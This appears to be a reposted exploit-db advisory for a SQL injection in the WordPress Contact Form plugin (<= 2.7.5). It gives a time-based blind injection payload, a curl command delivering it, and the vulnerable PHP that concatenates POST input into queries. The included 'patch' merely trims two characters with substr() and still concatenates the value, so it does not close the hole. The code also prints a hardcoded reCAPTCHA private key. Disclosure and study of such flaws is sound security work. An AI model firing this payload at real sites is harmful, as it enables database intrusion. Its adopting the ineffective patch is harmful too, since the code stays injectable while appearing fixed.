Celah SQL Injection Pada Plugin WordPress Contact Form <= 2.7.5

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

# Date: 2011-10-13

# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)

# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip

# Version: 2.7.5 (tested)

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PoC (POST data)

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http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php

wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.

curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1

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Vulnerable code

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Line 49:

public function the_content($content) {

global $wpdb;

global $table_name;

global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

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Patch

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*** ./easy-form.class.php.orig  2011-10-13 19:53:05.674800956 -0400

--- ./easy-form.class.php   2011-10-13 19:51:21.442799615 -0400

***************

*** 54,61 ****

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

!

!             $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

!               $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];

!             $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);

!

!   $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************

*** 71,80 ****

if ($continue) {

//loop through the fields of this form (read from DB) and build the message here

!                 $form_fields = $wpdb->get_results("

SELECT *

FROM $settings_table_name

!                   WHERE form_id = ".$_POST['wpcf_easyform_formid']."

ORDER BY position

");

--- 73,82 ----

if ($continue) {

//loop through the fields of this form (read from DB) and build the message here

!       $form_fields = $wpdb->get_results("

SELECT *

FROM $settings_table_name

!                   WHERE form_id = ".$wpcf_easyform_formid."

ORDER BY position

                ");

Sumber :http://www.exploit-db.com/exploits/17980/